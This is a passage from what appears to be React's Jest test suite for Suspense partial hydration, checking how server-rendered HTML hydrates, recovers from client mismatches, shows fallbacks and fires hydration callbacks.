{\n      resolve = () => {\n        suspend = false;\n        resolvePromise();\n      };\n    });\n    function Child({children}) {\n      if (suspend) {\n        Scheduler.log('Suspend');\n        throw promise;\n      } else {\n        Scheduler.log('Hello');\n        return <div>{children}</div>;\n      }\n    }\n    function Component({shouldMismatch, children}) {\n      Scheduler.log('Component');\n      if (shouldMismatch && client) {\n        return (\n          <div>\n            <article>Mismatch</article>\n            {children}\n          </div>\n        );\n      }\n      return (\n        <div>\n          <div>Component</div>\n          {children}\n        </div>\n      );\n    }\n    function Fallback() {\n      Scheduler.log('Fallback');\n      return 'Loading...';\n    }\n    function App() {\n      return (\n        <Suspense fallback={<Fallback />}>\n          <Component shouldMismatch={true}>\n            <Child />\n          </Component>\n        </Suspense>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('section');\n    container.innerHTML = finalHTML;\n    assertLog(['Component', 'Hello']);\n\n    expect(container.innerHTML).toBe(\n      '<!--$--><div><div>Component</div><div></div></div><!--/$-->',\n    );\n\n    suspend = true;\n    client = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([\n      'Component',\n      'Component',\n      'Suspend',\n      'Fallback',\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    jest.runAllTimers();\n\n    // !! Client switches to suspense fallback.\n    expect(container.innerHTML).toBe('Loading...');\n\n    suspend = false;\n    resolve();\n    await promise;\n    await waitForAll(['Component', 'Hello']);\n    jest.runAllTimers();\n\n    // Client rendered - suspense comment nodes removed\n    expect(container.innerHTML).toBe(\n      '<div><article>Mismatch</article><div></div></div>',\n    );\n  });\n\n  it('does show a fallback if mismatch is in parent element only', async () => {\n    let client = false;\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => {\n      resolve = () => {\n        suspend = false;\n        resolvePromise();\n      };\n    });\n    function Child({children}) {\n      if (suspend) {\n        Scheduler.log('Suspend');\n        throw promise;\n      } else {\n        Scheduler.log('Hello');\n        return <div>{children}</div>;\n      }\n    }\n    function Component({shouldMismatch, children}) {\n      Scheduler.log('Component');\n      if (shouldMismatch && client) {\n        return <article>{children}</article>;\n      }\n      return <div>{children}</div>;\n    }\n    function Fallback() {\n      Scheduler.log('Fallback');\n      return 'Loading...';\n    }\n    function App() {\n      return (\n        <Suspense fallback={<Fallback />}>\n          <Component shouldMismatch={true}>\n            <Child />\n          </Component>\n        </Suspense>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('section');\n    container.innerHTML = finalHTML;\n    assertLog(['Component', 'Hello']);\n\n    expect(container.innerHTML).toBe('<!--$--><div><div></div></div><!--/$-->');\n\n    suspend = true;\n    client = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([\n      'Component',\n      'Component',\n      'Suspend',\n      'Fallback',\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    jest.runAllTimers();\n\n    // !! Client switches to suspense fallback.\n    expect(container.innerHTML).toBe('Loading...');\n\n    suspend = false;\n    resolve();\n    await promise;\n    await waitForAll(['Component', 'Hello']);\n    jest.runAllTimers();\n\n    // Client rendered - suspense comment nodes removed\n    expect(container.innerHTML).toBe('<article><div></div></article>');\n  });\n\n  it('does show a fallback if mismatch is before suspending', async () => {\n    let client = false;\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => {\n      resolve = () => {\n        suspend = false;\n        resolvePromise();\n      };\n    });\n    function Child() {\n      if (suspend) {\n        Scheduler.log('Suspend');\n        throw promise;\n      } else {\n        Scheduler.log('Hello');\n        return 'Hello';\n      }\n    }\n    function Component({shouldMismatch}) {\n      Scheduler.log('Component');\n      if (shouldMismatch && client) {\n        return <article>Mismatch</article>;\n      }\n      return <div>Component</div>;\n    }\n    function Fallback() {\n      Scheduler.log('Fallback');\n      return 'Loading...';\n    }\n    function App() {\n      return (\n        <Suspense fallback={<Fallback />}>\n          <Component shouldMismatch={true} />\n          <Child />\n        </Suspense>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('section');\n    container.innerHTML = finalHTML;\n    assertLog(['Component', 'Hello']);\n\n    expect(container.innerHTML).toBe(\n      '<!--$--><div>Component</div>Hello<!--/$-->',\n    );\n\n    suspend = true;\n    client = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([\n      'Component',\n      'Component',\n      'Suspend',\n      'Fallback',\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    jest.runAllTimers();\n\n    // !! Client switches to suspense fallback.\n    expect(container.innerHTML).toBe('Loading...');\n\n    suspend = false;\n    resolve();\n    await promise;\n    await waitForAll([\n      // first pass, mismatches at end\n      'Component',\n      'Hello',\n    ]);\n    jest.runAllTimers();\n\n    // Client rendered - suspense comment nodes removed\n    expect(container.innerHTML).toBe('<article>Mismatch</article>Hello');\n  });\n\n  it('does show a fallback if mismatch is before suspending in a child', async () => {\n    let client = false;\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => {\n      resolve = () => {\n        suspend = false;\n        resolvePromise();\n      };\n    });\n    function Child() {\n      if (suspend) {\n        Scheduler.log('Suspend');\n        throw promise;\n      } else {\n        Scheduler.log('Hello');\n        return 'Hello';\n      }\n    }\n    function Component({shouldMismatch}) {\n      Scheduler.log('Component');\n      if (shouldMismatch && client) {\n        return <article>Mismatch</article>;\n      }\n      return <div>Component</div>;\n    }\n    function Fallback() {\n      Scheduler.log('Fallback');\n      return 'Loading...';\n    }\n    function App() {\n      return (\n        <Suspense fallback={<Fallback />}>\n          <Component shouldMismatch={true} />\n          <div>\n            <Child />\n          </div>\n        </Suspense>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('section');\n    container.innerHTML = finalHTML;\n    assertLog(['Component', 'Hello']);\n\n    expect(container.innerHTML).toBe(\n      '<!--$--><div>Component</div><div>Hello</div><!--/$-->',\n    );\n\n    suspend = true;\n    client = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([\n      'Component',\n      'Component',\n      'Suspend',\n      'Fallback',\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    jest.runAllTimers();\n\n    // !! Client switches to suspense fallback.\n    expect(container.innerHTML).toBe('Loading...');\n\n    suspend = false;\n    resolve();\n    await promise;\n    await waitForAll([\n      // first pass, mismatches at end\n      'Component',\n      'Hello',\n    ]);\n    jest.runAllTimers();\n\n    // Client rendered - suspense comment nodes removed.\n    expect(container.innerHTML).toBe(\n      '<article>Mismatch</article><div>Hello</div>',\n    );\n  });\n\n  it('calls the hydration callbacks after hydration or deletion', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    let suspend2 = false;\n    const promise2 = new Promise(() => {});\n    function Child2() {\n      if (suspend2) {\n        throw promise2;\n      } else {\n        return 'World';\n      }\n    }\n\n    function App({value}) {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Child />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child2 value={value} />\n          </Suspense>\n        </div>\n      );\n    }\n\n    // First we render the final HTML. With the streaming renderer\n    // this may have suspense points on the server but here we want\n    // to test the completed HTML. Don't suspend on the server.\n    suspend = false;\n    suspend2 = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const hydrated = [];\n    const deleted = [];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    suspend2 = true;\n    const root = ReactDOMClient.hydrateRoot(container, <App />, {\n      onHydrated(node) {\n        hydrated.push(node);\n      },\n      onDeleted(node) {\n        deleted.push(node);\n      },\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([]);\n\n    expect(hydrated.length).toBe(0);\n    expect(deleted.length).toBe(0);\n\n    await act(async () => {\n      // Resolving the promise should continue hydration\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    expect(hydrated.length).toBe(1);\n    expect(deleted.length).toBe(0);\n\n    // Performing an update should force it to delete the boundary\n    await act(() => {\n      root.render(<App value={true} />);\n    });\n\n    expect(hydrated.length).toBe(1);\n    expect(deleted.length).toBe(1);\n  });\n\n  it('hydrates an empty suspense boundary', async () => {\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\" />\n          <div>Sibling</div>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    ReactDOMClient.hydrateRoot(container, <App />);\n    await waitForAll([]);\n\n    expect(container.innerHTML).toContain('<div>Sibling</div>');\n  });\n\n  it('recovers with client render when server rendered additional nodes at suspense root', async () => {\n    function CheckIfHydrating({children}) {\n      // This is a trick to check whether we're hydrating or not, since React\n      // doesn't expose that information currently except\n      // via useSyncExternalStore.\n      let serverOrClient = '(unknown)';\n      useSyncExternalStore(\n        () => {},\n        () => {\n          serverOrClient = 'Client rendered';\n          return null;\n        },\n        () => {\n          serverOrClient = 'Server rendered';\n          return null;\n        },\n      );\n      Scheduler.log(serverOrClient);\n      return null;\n    }\n\n    const ref = React.createRef();\n    function App({hasB}) {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <span ref={ref}>A</span>\n            {hasB ? <span>B</span> : null}\n            <CheckIfHydrating />\n          </Suspense>\n          <div>Sibling</div>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App hasB={true} />);\n    assertLog(['Server rendered']);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    expect(container.innerHTML).toContain('<span>A</span>');\n    expect(container.innerHTML).toContain('<span>B</span>');\n    expect(ref.current).toBe(null);\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(container, <App hasB={false} />, {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      });\n    });\n\n    expect(container.innerHTML).toContain('<span>A</span>');\n    expect(container.innerHTML).not.toContain('<span>B</span>');\n\n    assertLog([\n      'Server rendered',\n      'Client rendered',\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    expect(ref.current).not.toBe(span);\n  });\n\n  it('recovers with client render when server rendered additional nodes at suspense root after unsuspending', async () => {\n    const ref = React.createRef();\n    let shouldSuspend = false;\n    let resolve;\n    const promise = new Promise(res => {\n      resolve = () => {\n        shouldSuspend = false;\n        res();\n      };\n    });\n    function Suspender() {\n      if (shouldSuspend) {\n        throw promise;\n      }\n      return <></>;\n    }\n    function App({hasB}) {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Suspender />\n            <span ref={ref}>A</span>\n            {hasB ? <span>B</span> : null}\n          </Suspense>\n          <div>Sibling</div>\n        </div>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App hasB={true} />);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    expect(container.innerHTML).toContain('<span>A</span>');\n    expect(container.innerHTML).toContain('<span>B</span>');\n    expect(ref.current).toBe(null);\n\n    shouldSuspend = true;\n    await act(() => {\n      ReactDOMClient.hydrateRoot(container, <App hasB={false} />, {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      });\n    });\n\n    await act(() => {\n      resolve();\n    });\n\n    assertLog([\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n\n    expect(container.innerHTML).toContain('<span>A</span>');\n    expect(container.innerHTML).not.toContain('<span>B</span>');\n    expect(ref.current).not.toBe(span);\n  });\n\n  it('recovers with client render when server rendered additional nodes deep inside suspense root', async () => {\n    const ref = React.createRef();\n    function App({hasB}) {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <div>\n              <span ref={ref}>A</span>\n              {hasB ? <span>B</span> : null}\n            </div>\n          </Suspense>\n          <div>Sibling</div>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App hasB={true} />);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    expect(container.innerHTML).toContain('<span>A</span>');\n    expect(container.innerHTML).toContain('<span>B</span>');\n    expect(ref.current).toBe(null);\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(container, <App hasB={false} />, {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      });\n    });\n    assertLog([\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n\n    expect(container.innerHTML).toContain('<span>A</span>');\n    expect(container.innerHTML).not.toContain('<span>B</span>');\n    expect(ref.current).not.toBe(span);\n  });\n\n  it('calls the onDeleted hydration callback if the parent gets deleted', async () => {\n    let suspend = false;\n    const promise = new Promise(() => {});\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    function App({deleted}) {\n      if (deleted) {\n        return null;\n      }\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Child />\n          </Suspense>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const deleted = [];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = await act(() => {\n      return ReactDOMClient.hydrateRoot(container, <App />, {\n        onDeleted(node) {\n          deleted.push(node);\n        },\n      });\n    });\n\n    expect(deleted.length).toBe(0);\n\n    await act(() => {\n      root.render(<App deleted={true} />);\n    });\n\n    // The callback should have been invoked.\n    expect(deleted.length).toBe(1);\n  });\n\n  it('can insert siblings before the dehydrated boundary', async () => {\n    let suspend = false;\n    const promise = new Promise(() => {});\n    let showSibling;\n\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Second';\n      }\n    }\n\n    function Sibling() {\n      const [visible, setVisibilty] = React.useState(false);\n      showSibling = () => setVisibilty(true);\n      if (visible) {\n        return <div>First</div>;\n      }\n      return null;\n    }\n\n    function App() {\n      return (\n        <div>\n          <Sibling />\n          <Suspense fallback=\"Loading...\">\n            <span>\n              <Child />\n            </span>\n          </Suspense>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n\n    expect(container.firstChild.firstChild.tagName).not.toBe('DIV');\n\n    // In this state, we can still update the siblings.\n    await act(() => showSibling());\n\n    expect(container.firstChild.firstChild.tagName).toBe('DIV');\n    expect(container.firstChild.firstChild.textContent).toBe('First');\n  });\n\n  it('can delete the dehydrated boundary before it is hydrated', async () => {\n    let suspend = false;\n    const promise = new Promise(() => {});\n    let hideMiddle;\n\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return (\n          <>\n            <div>Middle</div>\n            Some text\n          </>\n        );\n      }\n    }\n\n    function App() {\n      const [visible, setVisibilty] = React.useState(true);\n      hideMiddle = () => setVisibilty(false);\n\n      return (\n        <div>\n          <div>Before</div>\n          {visible ? (\n            <Suspense fallback=\"Loading...\">\n              <Child />\n            </Suspense>\n          ) : null}\n          <div>After</div>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    await act(() => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n\n    expect(container.firstChild.children[1].textContent).toBe('Middle');\n\n    // In this state, we can still delete the boundary.\n    await act(() => hideMiddle());\n\n    expect(container.firstChild.children[1].textContent).toBe('After');\n  });\n\n  it('blocks updates to hydrate the content first if props have changed', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n\n    function Child({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return text;\n      }\n    }\n\n    function App({text, className}) {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <span ref={ref} className={className}>\n              <Child text={text} />\n            </span>\n          </Suspense>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(\n      <App text=\"Hello\" className=\"hello\" />,\n    );\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <App text=\"Hello\" className=\"hello\" />,\n    );\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n    expect(span.textContent).toBe('Hello');\n\n    // Render an update, which will be higher or the same priority as pinging the hydration.\n    root.render(<App text=\"Hi\" className=\"hi\" />);\n\n    // At the same time, resolving the promise so that rendering can complete.\n    // This should first complete the hydration and then flush the update onto the hydrated state.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    // The new span should be the same since we should have successfully hydrated\n    // before changing it.\n    const newSpan = container.getElementsByTagName('span')[0];\n    expect(span).toBe(newSpan);\n\n    // We should now have fully rendered with a ref on the new span.\n    expect(ref.current).toBe(span);\n    expect(span.textContent).toBe('Hi');\n    // If we ended up hydrating the existing content, we won't have properly\n    // patched up the tree, which might mean we haven't patched the className.\n    expect(span.className).toBe('hi');\n  });\n\n  // @gate www\n  it('blocks updates to hydrate the content first if props changed at idle priority', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n\n    function Child({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return text;\n      }\n    }\n\n    function App({text, className}) {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <span ref={ref} className={className}>\n              <Child text={text} />\n            </span>\n          </Suspense>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(\n      <App text=\"Hello\" className=\"hello\" />,\n    );\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <App text=\"Hello\" className=\"hello\" />,\n    );\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n    expect(span.textContent).toBe('Hello');\n\n    // Schedule an update at idle priority\n    ReactDOM.unstable_runWithPriority(IdleEventPriority, () => {\n      root.render(<App text=\"Hi\" className=\"hi\" />);\n    });\n\n    // At the same time, resolving the promise so that rendering can complete.\n    suspend = false;\n    resolve();\n    await promise;\n\n    // This should first complete the hydration and then flush the update onto the hydrated state.\n    await waitForAll([]);\n\n    // The new span should be the same since we should have successfully hydrated\n    // before changing it.\n    const newSpan = container.getElementsByTagName('span')[0];\n    expect(span).toBe(newSpan);\n\n    // We should now have fully rendered with a ref on the new span.\n    expect(ref.current).toBe(span);\n    expect(span.textContent).toBe('Hi');\n    // If we ended up hydrating the existing content, we won't have properly\n    // patched up the tree, which might mean we haven't patched the className.\n    expect(span.className).toBe('hi');\n  });\n\n  it('shows the fallback if props have changed before hydration completes and is still suspended', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n\n    function Child({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return text;\n      }\n    }\n\n    function App({text, className}) {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <span ref={ref} className={className}>\n              <Child text={text} />\n            </span>\n          </Suspense>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(\n      <App text=\"Hello\" className=\"hello\" />,\n    );\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <App text=\"Hello\" className=\"hello\" />,\n      {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      },\n    );\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n\n    // Render an update, but leave it still suspended.\n    await act(() => {\n      root.render(<App text=\"Hi\" className=\"hi\" />);\n    });\n\n    // Flushing now should delete the existing content and show the fallback.\n\n    expect(container.getElementsByTagName('span').length).toBe(0);\n    expect(ref.current).toBe(null);\n    expect(container.textContent).toBe('Loading...');\n\n    // Unsuspending shows the content.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    const span = container.getElementsByTagName('span')[0];\n    expect(span.textContent).toBe('Hi');\n    expect(span.className).toBe('hi');\n    expect(ref.current).toBe(span);\n    expect(container.textContent).toBe('Hi');\n  });\n\n  it('treats missing fallback the same as if it was defined', async () => {\n    // This is the same exact test as above but with a nested Suspense without a fallback.\n    // This should be a noop.\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n\n    function Child({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return text;\n      }\n    }\n\n    function App({text, className}) {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <span ref={ref} className={className}>\n              <Suspense>\n                <Child text={text} />\n              </Suspense>\n            </span>\n          </Suspense>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(\n      <App text=\"Hello\" className=\"hello\" />,\n    );\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <App text=\"Hello\" className=\"hello\" />,\n      {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      },\n    );\n    await waitForAll([]);\n\n    const span = container.getElementsByTagName('span')[0];\n    expect(ref.current).toBe(span);\n\n    // Render an update, but leave it still suspended.\n    // Flushing now should delete the existing content and show the fallback.\n    await act(() => {\n      root.render(<App text=\"Hi\" className=\"hi\" />);\n    });\n\n    expect(container.getElementsByTagName('span').length).toBe(1);\n    expect(ref.current).toBe(span);\n    expect(container.textContent).toBe('');\n\n    // Unsuspending shows the content.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    expect(span.textContent).toBe('Hi');\n    expect(span.className).toBe('hi');\n    expect(ref.current).toBe(span);\n    expect(container.textContent).toBe('Hi');\n  });\n\n  it('clears nested suspense boundaries if they did not hydrate yet', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n\n    function Child({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return text;\n      }\n    }\n\n    function App({text, className}) {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Suspense fallback=\"Never happens\">\n              <Child text={text} />\n            </Suspense>{' '}\n            <span ref={ref} className={className}>\n              <Child text={text} />\n            </span>\n          </Suspense>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(\n      <App text=\"Hello\" className=\"hello\" />,\n    );\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <App text=\"Hello\" className=\"hello\" />,\n      {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      },\n    );\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n\n    // Render an update, but leave it still suspended.\n    // Flushing now should delete the existing content and show the fallback.\n    await act(() => {\n      root.render(<App text=\"Hi\" className=\"hi\" />);\n    });\n\n    expect(container.getElementsByTagName('span').length).toBe(0);\n    expect(ref.current).toBe(null);\n    expect(container.textContent).toBe('Loading...');\n\n    // Unsuspending shows the content.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    await waitForAll([]);\n\n    const span = container.getElementsByTagName('span')[0];\n    expect(span.textContent).toBe('Hi');\n    expect(span.className).toBe('hi');\n    expect(ref.current).toBe(span);\n    expect(container.textContent).toBe('Hi Hi');\n  });\n\n  it('hydrates first if props changed but we are able to resolve within a timeout', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n\n    function Child({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return text;\n      }\n    }\n\n    function App({text, className}) {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <span ref={ref} className={className}>\n              <Child text={text} />\n            </span>\n          </Suspense>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(\n      <App text=\"Hello\" className=\"hello\" />,\n    );\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <App text=\"Hello\" className=\"hello\" />,\n    );\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n    expect(container.textContent).toBe('Hello');\n\n    // Render an update with a long timeout.\n    React.startTransition(() => root.render(<App text=\"Hi\" className=\"hi\" />));\n    // This shouldn't force the fallback yet.\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n    expect(container.textContent).toBe('Hello');\n\n    // Resolving the promise so that rendering can complete.\n    // This should first complete the hydration and then flush the update onto the hydrated state.\n    suspend = false;\n    await act(() => resolve());\n\n    // The new span should be the same since we should have successfully hydrated\n    // before changing it.\n    const newSpan = container.getElementsByTagName('span')[0];\n    expect(span).toBe(newSpan);\n\n    // We should now have fully rendered with a ref on the new span.\n    expect(ref.current).toBe(span);\n    expect(container.textContent).toBe('Hi');\n    // If we ended up hydrating the existing content, we won't have properly\n    // patched up the tree, which might mean we haven't patched the className.\n    expect(span.className).toBe('hi');\n  });\n\n  it('warns but works if setState is called before commit in a dehydrated component', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    let updateText;\n\n    function Child() {\n      const [state, setState] = React.useState('Hello');\n      updateText = setState;\n      Scheduler.log('Child');\n      if (suspend) {\n        throw promise;\n      } else {\n        return state;\n      }\n    }\n\n    function Sibling() {\n      Scheduler.log('Sibling');\n      return null;\n    }\n\n    function App() {\n      return (\n        <div>\n          <Suspense fallback=\"Loading...\">\n            <Child />\n            <Sibling />\n          </Suspense>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    assertLog(['Child', 'Sibling']);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    ReactDOMClient.hydrateRoot(\n      container,\n      <App text=\"Hello\" className=\"hello\" />,\n    );\n\n    await act(async () => {\n      suspend = true;\n      await waitFor(['Child']);\n\n      // While we're part way through the hydration, we update the state.\n      // This will schedule an update on the children of the suspense boundary.\n      updateText('Hi');\n      assertConsoleErrorDev([\n        \"Can't perform a React state update on a component that hasn't mounted yet. \" +\n          'This indicates that you have a side-effect in your render function that ' +\n          'asynchronously tries to update the component. Move this work to useEffect instead.\\n' +\n          '    in App (at **)',\n      ]);\n\n      // This will throw it away and rerender.\n      